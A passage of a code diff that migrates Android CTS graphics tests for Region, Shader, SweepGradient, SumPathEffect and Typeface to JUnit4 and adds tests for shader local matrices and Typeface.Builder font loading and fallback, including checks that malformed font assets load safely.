-        assertPointsInsideRegion(UNION_WITH2);
-        assertPointsOutsideRegion(UNION_WITHOUT2);
+        verifyPointsInsideRegion(UNION_WITH2);
+        verifyPointsOutsideRegion(UNION_WITHOUT2);
 
         // 3. union rectangle out of this region
         mRegion.set(region1);
         assertTrue(mRegion.op(region2, region5, Region.Op.UNION));
-        assertPointsInsideRegion(UNION_WITH3);
-        assertPointsOutsideRegion(UNION_WITHOUT3);
+        verifyPointsInsideRegion(UNION_WITH3);
+        verifyPointsOutsideRegion(UNION_WITHOUT3);
     }
 
-    private void assertXorOp5(Region region1, Region region2,
+    private void verifyXorOp5(Region region1, Region region2,
             Region region3, Region region4, Region region5) {
         // XOR, Region with rectangle
         // exclusive-or the two regions
-        mRegion = null;
         mRegion = new Region();
         // xor null rectangle
         mRegion.set(region1);
@@ -1314,27 +1281,26 @@
         // 1. xor rectangle inside this region
         mRegion.set(region1);
         assertTrue(mRegion.op(region2, region3, Region.Op.XOR));
-        assertPointsInsideRegion(XOR_WITH1);
-        assertPointsOutsideRegion(XOR_WITHOUT1);
+        verifyPointsInsideRegion(XOR_WITH1);
+        verifyPointsOutsideRegion(XOR_WITHOUT1);
 
         // 2. xor rectangle overlap this region
         mRegion.set(region1);
         assertTrue(mRegion.op(region2, region4, Region.Op.XOR));
-        assertPointsInsideRegion(XOR_WITH2);
-        assertPointsOutsideRegion(XOR_WITHOUT2);
+        verifyPointsInsideRegion(XOR_WITH2);
+        verifyPointsOutsideRegion(XOR_WITHOUT2);
 
         // 3. xor rectangle out of this region
         mRegion.set(region1);
         assertTrue(mRegion.op(region2, region5, Region.Op.XOR));
-        assertPointsInsideRegion(XOR_WITH3);
-        assertPointsOutsideRegion(XOR_WITHOUT3);
+        verifyPointsInsideRegion(XOR_WITH3);
+        verifyPointsOutsideRegion(XOR_WITHOUT3);
     }
 
-    private void assertReverseDifferenceOp5(Region region1, Region region2,
+    private void verifyReverseDifferenceOp5(Region region1, Region region2,
             Region region3, Region region4, Region region5) {
         // REVERSE_DIFFERENCE, Region with rectangle
         // reverse difference the first region from the op region
-        mRegion = null;
         mRegion = new Region();
         // reverse difference null rectangle
         mRegion.set(region1);
@@ -1347,21 +1313,20 @@
         // 2. reverse difference rectangle overlap this region
         mRegion.set(region1);
         assertTrue(mRegion.op(region2, region4, Region.Op.REVERSE_DIFFERENCE));
-        assertPointsInsideRegion(REVERSE_DIFFERENCE_WITH2);
-        assertPointsOutsideRegion(REVERSE_DIFFERENCE_WITHOUT2);
+        verifyPointsInsideRegion(REVERSE_DIFFERENCE_WITH2);
+        verifyPointsOutsideRegion(REVERSE_DIFFERENCE_WITHOUT2);
 
         // 3. reverse difference rectangle out of this region
         mRegion.set(region1);
         assertTrue(mRegion.op(region2, region5, Region.Op.REVERSE_DIFFERENCE));
-        assertPointsInsideRegion(REVERSE_DIFFERENCE_WITH3);
-        assertPointsOutsideRegion(REVERSE_DIFFERENCE_WITHOUT3);
+        verifyPointsInsideRegion(REVERSE_DIFFERENCE_WITH3);
+        verifyPointsOutsideRegion(REVERSE_DIFFERENCE_WITHOUT3);
     }
 
-    private void assertReplaceOp5(Region region1, Region region2,
+    private void verifyReplaceOp5(Region region1, Region region2,
             Region region3, Region region4, Region region5) {
         // REPLACE, Region with rectangle
         // replace the dst region with the op region
-        mRegion = null;
         mRegion = new Region();
         // subtract null rectangle
         mRegion.set(region1);
@@ -1383,8 +1348,8 @@
         assertEquals(region5.getBounds(), mRegion.getBounds());
     }
 
+    @Test
     public void testGetBoundaryPath1() {
-        mRegion = new Region();
         assertTrue(mRegion.getBoundaryPath().isEmpty());
 
         // Both clip and path are non-null.
@@ -1395,9 +1360,8 @@
         assertFalse(mRegion.getBoundaryPath().isEmpty());
     }
 
+    @Test
     public void testGetBoundaryPath2() {
-
-        mRegion = new Region();
         Path path = new Path();
         assertFalse(mRegion.getBoundaryPath(path));
 
@@ -1419,9 +1383,8 @@
         assertTrue(mRegion.getBoundaryPath(path));
     }
 
+    @Test
     public void testSetPath() {
-
-        mRegion = new Region();
         // Both clip and path are null.
         Region clip = new Region();
         Path path = new Path();
@@ -1468,8 +1431,8 @@
         assertNotSame(unexpected.right, actual.right);
     }
 
+    @Test
     public void testTranslate1() {
-
         Rect rect1 = new Rect(0, 0, 20, 20);
         Rect rect2 = new Rect(10, 10, 30, 30);
         mRegion = new Region(0, 0, 20, 20);
@@ -1478,8 +1441,8 @@
         assertEquals(rect2, mRegion.getBounds());
     }
 
+    @Test
     public void testTranslate2() {
-
         Region dst = new Region();
         Rect rect1 = new Rect(0, 0, 20, 20);
         Rect rect2 = new Rect(10, 10, 30, 30);
@@ -1491,11 +1454,10 @@
         assertEquals(rect2, dst.getBounds());
     }
 
+    @Test
     public void testWriteToParcel() {
-
         int flags = 0;
         Rect oriRect = new Rect(0, 0, 10, 10);
-        mRegion = new Region();
 
         // test reading/writing an empty parcel
         Parcel p = Parcel.obtain();
@@ -1535,13 +1497,13 @@
         assertEquals(15, dst.getBounds().right);
     }
 
+    @Test
     public void testDescribeContents() {
-
-        mRegion = new Region();
         int actual = mRegion.describeContents();
         assertEquals(0, actual);
     }
 
+    @Test
     public void testQuickReject1() {
         Rect oriRect = new Rect(0, 0, 20, 20);
         Rect rect1 = new Rect();
@@ -1549,7 +1511,6 @@
         Rect rect3 = new Rect(0, 0, 10, 10);
         Rect rect4 = new Rect(10, 10, 30, 30);
 
-        mRegion = new Region();
         // Return true if the region is empty
         assertTrue(mRegion.quickReject(rect1));
         mRegion.set(oriRect);
@@ -1560,8 +1521,8 @@
         assertFalse(mRegion.quickReject(rect4));
     }
 
+    @Test
     public void testQuickReject2() {
-        mRegion = new Region();
         // Return true if the region is empty
         assertTrue(mRegion.quickReject(0, 0, 0, 0));
         mRegion.set(0, 0, 20, 20);
@@ -1572,6 +1533,7 @@
         assertFalse(mRegion.quickReject(10, 10, 30, 30));
     }
 
+    @Test
     public void testQuickReject3() {
         Region oriRegion = new Region(0, 0, 20, 20);
         Region region1 = new Region();
@@ -1579,7 +1541,6 @@
         Region region3 = new Region(0, 0, 10, 10);
         Region region4 = new Region(10, 10, 30, 30);
 
-        mRegion = new Region();
         // Return true if the region is empty
         assertTrue(mRegion.quickReject(region1));
         mRegion.set(oriRegion);
@@ -1589,5 +1550,4 @@
         mRegion.set(oriRegion);
         assertFalse(mRegion.quickReject(region4));
     }
-
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/Region_OpTest.java b/tests/tests/graphics/src/android/graphics/cts/Region_OpTest.java
index daa7181..be31672 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Region_OpTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Region_OpTest.java
@@ -16,12 +16,19 @@
 
 package android.graphics.cts;
 
-import android.graphics.Region;
+import static org.junit.Assert.assertEquals;
+
 import android.graphics.Region.Op;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class Region_OpTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Region_OpTest {
+    @Test
     public void testValueOf() {
         assertEquals(Op.DIFFERENCE, Op.valueOf("DIFFERENCE"));
         assertEquals(Op.INTERSECT, Op.valueOf("INTERSECT"));
@@ -30,10 +37,11 @@
         assertEquals(Op.REVERSE_DIFFERENCE, Op.valueOf("REVERSE_DIFFERENCE"));
         assertEquals(Op.REPLACE, Op.valueOf("REPLACE"));
         // Every Op element has been tested in testOp1(), testOp2(), testOp3(),
-        // testOp4() and testOp5(), {@link RegionTest}.
+        // testOp4() and testOp5() in the {@link RegionTest}.
         // Every Op element indicates one operation type.
     }
 
+    @Test
     public void testValues() {
         // set the expected value
         Op[] expected = {
@@ -42,7 +50,7 @@
                 Op.UNION,
                 Op.XOR,
                 Op.REVERSE_DIFFERENCE,
-                Op.REPLACE};
+                Op.REPLACE };
         Op[] actual = Op.values();
         assertEquals(expected.length, actual.length);
         assertEquals(expected[0], actual[0]);
@@ -52,5 +60,4 @@
         assertEquals(expected[4], actual[4]);
         assertEquals(expected[5], actual[5]);
     }
-
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/ShaderTest.java b/tests/tests/graphics/src/android/graphics/cts/ShaderTest.java
index 5b093d2..7c18fe9 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ShaderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ShaderTest.java
@@ -16,17 +16,30 @@
 
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
 import android.graphics.Bitmap;
 import android.graphics.BitmapShader;
+import android.graphics.Color;
 import android.graphics.Matrix;
 import android.graphics.Shader;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class ShaderTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ShaderTest {
+    @Test
     public void testConstructor() {
         new Shader();
     }
 
+    @Test
     public void testAccessLocalMatrix() {
         int width = 80;
         int height = 120;
@@ -42,4 +55,45 @@
         shader.setLocalMatrix(null);
         assertFalse(shader.getLocalMatrix(m));
     }
+
+    @Test
+    public void testMutateBaseObject() {
+        Shader shader = new Shader();
+        shader.setLocalMatrix(null);
+    }
+
+    @Test
+    public void testGetSetLocalMatrix() {
+        Matrix skew10x20 = new Matrix();
+        skew10x20.setSkew(10, 20);
+
+        Matrix scale2x3 = new Matrix();
+        scale2x3.setScale(2, 3);
+
+        // setup shader
+        Bitmap bitmap = Bitmap.createBitmap(10, 10, Bitmap.Config.RGB_565);
+        bitmap.eraseColor(Color.BLUE);
+        Shader shader = new BitmapShader(bitmap, Shader.TileMode.REPEAT, Shader.TileMode.REPEAT);
+
+        // get null
+        shader.setLocalMatrix(null);
+        Matrix paramMatrix = new Matrix(skew10x20);
+        assertFalse("shader should have no matrix set", shader.getLocalMatrix(paramMatrix));
+        assertEquals("matrix param not modified when no matrix set", skew10x20, paramMatrix);
+
+        // get nonnull
+        shader.setLocalMatrix(scale2x3);
+        assertTrue("shader should have matrix set", shader.getLocalMatrix(paramMatrix));
+        assertEquals("param matrix should be updated", scale2x3, paramMatrix);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testGetWithNullParam() {
+        Shader shader = new Shader();
+        Matrix matrix = new Matrix();
+        matrix.setScale(10, 10);
+        shader.setLocalMatrix(matrix);
+
+        shader.getLocalMatrix(null);
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/Shader_TileModeTest.java b/tests/tests/graphics/src/android/graphics/cts/Shader_TileModeTest.java
index d66f9a8..47c49de 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Shader_TileModeTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Shader_TileModeTest.java
@@ -16,18 +16,26 @@
 
 package android.graphics.cts;
 
-import junit.framework.TestCase;
-import android.graphics.Shader;
+import static org.junit.Assert.assertEquals;
+
 import android.graphics.Shader.TileMode;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class Shader_TileModeTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Shader_TileModeTest {
+    @Test
     public void testValueOf() {
         assertEquals(TileMode.CLAMP, TileMode.valueOf("CLAMP"));
         assertEquals(TileMode.MIRROR, TileMode.valueOf("MIRROR"));
         assertEquals(TileMode.REPEAT, TileMode.valueOf("REPEAT"));
     }
 
+    @Test
     public void testValues() {
         TileMode[] tileMode = TileMode.values();
         assertEquals(3, tileMode.length);
diff --git a/tests/tests/graphics/src/android/graphics/cts/SumPathEffectTest.java b/tests/tests/graphics/src/android/graphics/cts/SumPathEffectTest.java
index 73c034c..d6eac97 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SumPathEffectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/SumPathEffectTest.java
@@ -17,25 +17,32 @@
 package android.graphics.cts;
 
 
+import static org.junit.Assert.assertEquals;
+
 import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.CornerPathEffect;
 import android.graphics.DashPathEffect;
 import android.graphics.Paint;
 import android.graphics.Path;
+import android.graphics.Path.Direction;
 import android.graphics.PathEffect;
 import android.graphics.SumPathEffect;
-import android.graphics.Bitmap.Config;
-import android.graphics.Path.Direction;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class SumPathEffectTest extends TestCase {
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SumPathEffectTest {
     private static final int WIDTH = 100;
     private static final int HEIGHT = 100;
 
+    @Test
     public void testSumPathEffect() {
         Bitmap bitmap = Bitmap.createBitmap(WIDTH, HEIGHT, Config.ARGB_8888);
         bitmap.eraseColor(Color.BLACK);
diff --git a/tests/tests/graphics/src/android/graphics/cts/SweepGradientTest.java b/tests/tests/graphics/src/android/graphics/cts/SweepGradientTest.java
index 9007816..cb7ec0a 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SweepGradientTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/SweepGradientTest.java
@@ -16,48 +16,59 @@
 
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
 
 import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
 import android.graphics.Color;
+import android.graphics.Matrix;
 import android.graphics.Paint;
 import android.graphics.Rect;
 import android.graphics.Shader;
 import android.graphics.SweepGradient;
-import android.graphics.Bitmap.Config;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
 
-import junit.framework.TestCase;
+import com.android.compatibility.common.util.ColorUtils;
 
-public class SweepGradientTest extends TestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    private Paint mPaint;
-    private Canvas mCanvas;
-    private Bitmap mBitmap;
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SweepGradientTest {
     private static final int SIZE = 200;
     private static final int CENTER = SIZE / 2;
     private static final int RADIUS = 80;
     private static final int NUM_STEPS = 100;
     private static final int TOLERANCE = 10;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    private Paint mPaint;
+    private Canvas mCanvas;
+    private Bitmap mBitmap;
+
+    @Before
+    public void setup() {
         mPaint = new Paint();
         mBitmap = Bitmap.createBitmap(SIZE, SIZE, Config.ARGB_8888);
         mBitmap.eraseColor(Color.TRANSPARENT);
         mCanvas = new Canvas(mBitmap);
     }
 
+    @Test
     public void test2Colors() {
         final int[] colors = new int[] { Color.GREEN, Color.RED };
         final float[] positions = new float[] { 0f, 1f };
         Shader shader = new SweepGradient(CENTER, CENTER, colors[0], colors[1]);
         mPaint.setShader(shader);
         mCanvas.drawRect(new Rect(0, 0, SIZE, SIZE), mPaint);
-        checkColors(colors, positions, TOLERANCE);
+        verifyColors(colors, positions, TOLERANCE);
     }
 
+    @Test
     public void testColorArray() {
         final int[] colors = new int[] { Color.GREEN, Color.RED, Color.BLUE };
         final float[] positions = new float[] { 0f, 0.3f, 1f };
@@ -65,9 +76,10 @@
         mPaint.setShader(shader);
         mCanvas.drawRect(new Rect(0, 0, SIZE, SIZE), mPaint);
 
-        checkColors(colors, positions, TOLERANCE);
+        verifyColors(colors, positions, TOLERANCE);
     }
 
+    @Test
     public void testMultiColor() {
         final int[] colors = new int[] { Color.GREEN, Color.RED, Color.BLUE, Color.GREEN };
         final float[] positions = new float[] { 0f, 0.25f, 0.5f, 1f };
@@ -76,10 +88,10 @@
         mPaint.setShader(shader);
         mCanvas.drawRect(new Rect(0, 0, SIZE, SIZE), mPaint);
 
-        checkColors(colors, positions, TOLERANCE);
+        verifyColors(colors, positions, TOLERANCE);
     }
 
-    private void checkColors(int[] colors, float[] positions, int tolerance) {
+    private void verifyColors(int[] colors, float[] positions, int tolerance) {
         final double twoPi = Math.PI * 2;
         final double step = twoPi / NUM_STEPS;
 
@@ -121,19 +133,37 @@
             int pixel = mBitmap.getPixel(x, y);
 
             try {
-            assertEquals(Color.alpha(color), Color.alpha(pixel), tolerance);
-            assertEquals(Color.red(color), Color.red(pixel), tolerance);
-            assertEquals(Color.green(color), Color.green(pixel), tolerance);
-            assertEquals(Color.blue(color), Color.blue(pixel), tolerance);
+                assertEquals(Color.alpha(color), Color.alpha(pixel), tolerance);
+                assertEquals(Color.red(color), Color.red(pixel), tolerance);
+                assertEquals(Color.green(color), Color.green(pixel), tolerance);
+                assertEquals(Color.blue(color), Color.blue(pixel), tolerance);
             } catch (Error e) {
-                System.out.println("***************");
-                System.out.println(rad);
-                System.out.println(x);
-                System.out.println(y);
-                System.out.println(Integer.toHexString(pixel));
-                System.out.println(Integer.toHexString(color));
+                Log.w(getClass().getName(), "rad=" + rad + ", x=" + x + ", y=" + y
+                    + "pixel=" + Integer.toHexString(pixel) + ", color="
+                    + Integer.toHexString(color));
                 throw e;
             }
         }
     }
+
+    @Test
+    public void testZeroScaleMatrix() {
+        SweepGradient gradient = new SweepGradient(1, 0.5f,
+                new int[] {Color.BLUE, Color.RED, Color.BLUE}, null);
+        Matrix m = new Matrix();
+        m.setScale(0, 0);
+        gradient.setLocalMatrix(m);
+
+        Bitmap bitmap = Bitmap.createBitmap(2, 1, Config.ARGB_8888);
+        bitmap.eraseColor(Color.BLACK);
+        Canvas canvas = new Canvas(bitmap);
+
+        Paint paint = new Paint();
+        paint.setShader(gradient);
+        canvas.drawPaint(paint);
+
+        // red to left, blue to right
+        ColorUtils.verifyColor(Color.BLACK, bitmap.getPixel(0, 0), 1);
+        ColorUtils.verifyColor(Color.BLACK, bitmap.getPixel(1, 0), 1);
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
index 7ac679a..66b55f2 100644
--- a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
@@ -16,19 +16,37 @@
 
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
+import android.content.Context;
+import android.content.res.AssetManager;
 import android.graphics.Paint;
 import android.graphics.Typeface;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.io.File;
+import java.io.FileInputStream;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
 
-public class TypefaceTest extends AndroidTestCase {
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TypefaceTest {
     // generic family name for monospaced fonts
     private static final String MONO = "monospace";
     private static final String DEFAULT = (String)null;
@@ -38,12 +56,14 @@
     private static final String[] FAMILIES =
             { (String) null, "monospace", "serif", "sans-serif", "cursive", "arial", "times" };
 
+    private Context mContext;
+
     /**
      * Create a typeface of the given style. If the default font does not support the style,
      * a number of generic families are tried.
      * @return The typeface or null, if no typeface with the given style can be found.
      */
-    private Typeface createTypeface(int style) {
+    private static Typeface createTypeface(int style) {
         for (String family : FAMILIES) {
             Typeface tf = Typeface.create(family, style);
             if (tf.getStyle() == style) {
@@ -53,7 +73,12 @@
         return null;
     }
 
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
 
+    @Test
     public void testIsBold() {
         Typeface typeface = createTypeface(Typeface.BOLD);
         if (typeface != null) {
@@ -84,6 +109,7 @@
         }
     }
 
+    @Test
     public void testCreate() {
         Typeface typeface = Typeface.create(DEFAULT, Typeface.NORMAL);
         assertNotNull(typeface);
@@ -98,6 +124,7 @@
         assertNotNull(typeface);
     }
 
+    @Test
     public void testDefaultFromStyle() {
         Typeface typeface = Typeface.defaultFromStyle(Typeface.NORMAL);
         assertNotNull(typeface);
@@ -109,6 +136,7 @@
         assertNotNull(typeface);
     }
 
+    @Test
     public void testConstants() {
         assertNotNull(Typeface.DEFAULT);
         assertNotNull(Typeface.DEFAULT_BOLD);
@@ -117,47 +145,69 @@
         assertNotNull(Typeface.SERIF);
     }
 
-    public void testCreateFromAsset() {
+    @Test(expected=NullPointerException.class)
+    public void testCreateFromAssetNull() {
         // input abnormal params.
-        try {
-            Typeface.createFromAsset(null, null);
-            fail("Should throw a NullPointerException.");
-        } catch (NullPointerException e) {
-            // except here
-        }
+        Typeface.createFromAsset(null, null);
+    }
 
-        Typeface typeface = Typeface.createFromAsset(getContext().getAssets(), "samplefont.ttf");
+    @Test(expected=NullPointerException.class)
+    public void testCreateFromAssetNullPath() {
+        // input abnormal params.
+        Typeface.createFromAsset(mContext.getAssets(), null);
+    }
+
+    @Test(expected=RuntimeException.class)
+    public void testCreateFromAssetInvalidPath() {
+        // input abnormal params.
+        Typeface.createFromAsset(mContext.getAssets(), "invalid path");
+    }
+
+    @Test
+    public void testCreateFromAsset() {
+        Typeface typeface = Typeface.createFromAsset(mContext.getAssets(), "samplefont.ttf");
         assertNotNull(typeface);
     }
 
-    public void testCreateFromFile1() throws IOException {
+    @Test(expected=NullPointerException.class)
+    public void testCreateFromFileByFileReferenceNull() {
         // input abnormal params.
-        try {
-            Typeface.createFromFile((File)null);
-            fail("Should throw a NullPointerException.");
-        } catch (NullPointerException e) {
-            // except here
-        }
+        Typeface.createFromFile((File) null);
+    }
+
+    @Test
+    public void testCreateFromFileByFileReference() throws IOException {
         File file = new File(obtainPath());
         Typeface typeface = Typeface.createFromFile(file);
         assertNotNull(typeface);
     }
 
-    public void testCreateFromFile2() throws IOException {
-        // input abnormal params.
-        try {
-            Typeface.createFromFile((String)null);
-            fail("Should throw a NullPointerException.");
-        } catch (NullPointerException e) {
-            // except here
-        }
+    @Test(expected=RuntimeException.class)
+    public void testCreateFromFileWithInvalidPath() throws IOException {
+        File file = new File("/invalid/path");
+        Typeface.createFromFile(file);
+    }
 
+    @Test(expected=NullPointerException.class)
+    public void testCreateFromFileByFileNameNull() throws IOException {
+        // input abnormal params.
+        Typeface.createFromFile((String) null);
+    }
+
+    @Test(expected=RuntimeException.class)
+    public void testCreateFromFileByInvalidFileName() throws IOException {
+        // input abnormal params.
+        Typeface.createFromFile("/invalid/path");
+    }
+
+    @Test
+    public void testCreateFromFileByFileName() throws IOException {
         Typeface typeface = Typeface.createFromFile(obtainPath());
         assertNotNull(typeface);
     }
 
     private String obtainPath() throws IOException {
-        File dir = getContext().getFilesDir();
+        File dir = mContext.getFilesDir();
         dir.mkdirs();
         File file = new File(dir, "test.jpg");
         if (!file.createNewFile()) {
@@ -165,7 +215,7 @@
                 fail("Failed to create new File!");
             }
         }
-        InputStream is = getContext().getAssets().open("samplefont.ttf");
+        InputStream is = mContext.getAssets().open("samplefont.ttf");
         FileOutputStream fOutput = new FileOutputStream(file);
         byte[] dataBuffer = new byte[1024];
         int readLength = 0;
@@ -177,8 +227,9 @@
         return (file.getPath());
     }
 
+    @Test
     public void testInvalidCmapFont() {
-        Typeface typeface = Typeface.createFromAsset(getContext().getAssets(), "bombfont.ttf");
+        Typeface typeface = Typeface.createFromAsset(mContext.getAssets(), "bombfont.ttf");
         assertNotNull(typeface);
         Paint p = new Paint();
         final String testString = "abcde";
@@ -188,8 +239,9 @@
         assertEquals(widthDefaultTypeface, widthCustomTypeface, 1.0f);
     }
 
+    @Test
     public void testInvalidCmapFont2() {
-        Typeface typeface = Typeface.createFromAsset(getContext().getAssets(), "bombfont2.ttf");
+        Typeface typeface = Typeface.createFromAsset(mContext.getAssets(), "bombfont2.ttf");
         assertNotNull(typeface);
         Paint p = new Paint();
         final String testString = "abcde";
@@ -199,21 +251,21 @@
         assertEquals(widthDefaultTypeface, widthCustomTypeface, 1.0f);
     }
 
-    @SmallTest
+    @Test
     public void testCreateFromAsset_cachesTypeface() {
-        Typeface typeface1 = Typeface.createFromAsset(getContext().getAssets(), "bombfont2.ttf");
+        Typeface typeface1 = Typeface.createFromAsset(mContext.getAssets(), "bombfont2.ttf");
         assertNotNull(typeface1);
 
-        Typeface typeface2 = Typeface.createFromAsset(getContext().getAssets(), "bombfont2.ttf");
+        Typeface typeface2 = Typeface.createFromAsset(mContext.getAssets(), "bombfont2.ttf");
         assertNotNull(typeface2);
         assertSame("Same font asset should return same Typeface object", typeface1, typeface2);
 
-        Typeface typeface3 = Typeface.createFromAsset(getContext().getAssets(), "bombfont.ttf");
+        Typeface typeface3 = Typeface.createFromAsset(mContext.getAssets(), "bombfont.ttf");
         assertNotNull(typeface3);
         assertNotSame("Different font asset should return different Typeface object",
                 typeface2, typeface3);
 
-        Typeface typeface4 = Typeface.createFromAsset(getContext().getAssets(), "samplefont.ttf");
+        Typeface typeface4 = Typeface.createFromAsset(mContext.getAssets(), "samplefont.ttf");
         assertNotNull(typeface4);
         assertNotSame("Different font asset should return different Typeface object",
                 typeface2, typeface4);
@@ -221,9 +273,212 @@
                 typeface3, typeface4);
     }
 
-    @SmallTest
+    @Test
     public void testBadFont() {
-        Typeface typeface = Typeface.createFromAsset(getContext().getAssets(), "ft45987.ttf");
+        Typeface typeface = Typeface.createFromAsset(mContext.getAssets(), "ft45987.ttf");
         assertNotNull(typeface);
     }
+
+    @Test
+    public void testTypefaceBuilder_AssetSource() {
+        Typeface typeface1 = new Typeface.Builder(mContext.getAssets(), "samplefont.ttf").build();
+        assertNotNull(typeface1);
+
+        Typeface typeface2 = new Typeface.Builder(mContext.getAssets(), "samplefont.ttf").build();
+        assertNotNull(typeface2);
+        assertSame("Same font asset should return same Typeface object", typeface1, typeface2);
+
+        Typeface typeface3 = new Typeface.Builder(mContext.getAssets(), "samplefont2.ttf").build();
+        assertNotNull(typeface3);
+        assertNotSame("Different font asset should return different Typeface object",
+                typeface2, typeface3);
+
+        Typeface typeface4 = new Typeface.Builder(mContext.getAssets(), "samplefont3.ttf").build();
+        assertNotNull(typeface4);
+        assertNotSame("Different font asset should return different Typeface object",
+                typeface2, typeface4);
+        assertNotSame("Different font asset should return different Typeface object",
+                typeface3, typeface4);
+
+        Typeface typeface5 = new Typeface.Builder(mContext.getAssets(), "samplefont.ttf")
+                .setFontVariationSettings("'wdth' 1.0").build();
+        assertNotNull(typeface5);
+        assertNotSame("Different font font variation should return different Typeface object",
+                typeface2, typeface5);
+
+        Typeface typeface6 = new Typeface.Builder(mContext.getAssets(), "samplefont.ttf")
+                .setFontVariationSettings("'wdth' 2.0").build();
+        assertNotNull(typeface6);
+        assertNotSame("Different font font variation should return different Typeface object",
+                typeface2, typeface6);
+        assertNotSame("Different font font variation should return different Typeface object",
+                typeface5, typeface6);
+
+        // TODO: Add ttc index case. Need TTC file for CTS. (b/36731640)
+    }
+
+    @Test
+    public void testTypefaceBuilder_FileSource() {
+        try {
+            File file = new File(obtainPath());
+            Typeface typeface1 = new Typeface.Builder(obtainPath()).build();
+            assertNotNull(typeface1);
+
+            Typeface typeface2 = new Typeface.Builder(file).build();
+            assertNotNull(typeface2);
+
+            Typeface typeface3 = new Typeface.Builder(file)
+                    .setFontVariationSettings("'wdth' 1.0")
+                    .build();
+            assertNotNull(typeface3);
+            assertNotSame(typeface1, typeface3);
+            assertNotSame(typeface2, typeface3);
+
+            // TODO: Add ttc index case. Need TTC file for CTS.
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    @Test
+    public void testTypefaceBuilder_fallback() throws IOException {
+        final File validFile = new File(obtainPath());
+        final File invalidFile = new File("/some/invalid/path/to/font/file");
+        final AssetManager assets = mContext.getAssets();
+        // By default, returns null if no fallback font is specified.
+        assertNull(new Typeface.Builder(invalidFile).build());
+
+        assertNull(new Typeface.Builder(validFile)
+                .setTtcIndex(100 /* non-existing ttc index */).build());
+
+        assertNull(new Typeface.Builder(assets, "invalid path").build());
+
+        assertNull(new Typeface.Builder(assets, "samplefont.ttf")
+                .setTtcIndex(100 /* non-existing ttc index */).build());
+
+        // If fallback is set, the builder never returns null.
+        assertNotNull(new Typeface.Builder(invalidFile).setFallback("").build());
+
+        assertNotNull(new Typeface.Builder(invalidFile).setFallback("invalid name").build());
+
+        Typeface sansSerifTypeface = new Typeface.Builder(invalidFile)
+                .setFallback("sans-serif").build();
+        assertNotNull(sansSerifTypeface);
+
+        Typeface serifTypeface = new Typeface.Builder(invalidFile).setFallback("serif").build();
+        assertNotNull(serifTypeface);
+
+        Typeface boldSansSerifTypeface = new Typeface.Builder(invalidFile)
+                .setFallback("sans-serif").setWeight(700).build();
+        assertNotNull(boldSansSerifTypeface);
+
+        Typeface boldSerifTypeface = new Typeface.Builder(invalidFile)
+                .setFallback("serif").setWeight(700).build();
+        assertNotNull(boldSerifTypeface);
+
+        Typeface italicSansSerifTypeface = new Typeface.Builder(invalidFile)
+                .setFallback("sans-serif").setItalic(true).build();
+        assertNotNull(italicSansSerifTypeface);
+
+        Typeface italicSerifTypeface = new Typeface.Builder(invalidFile)
+                .setFallback("serif").setItalic(true).build();
+        assertNotNull(italicSerifTypeface);
+
+        // All fallbacks should be different each other.
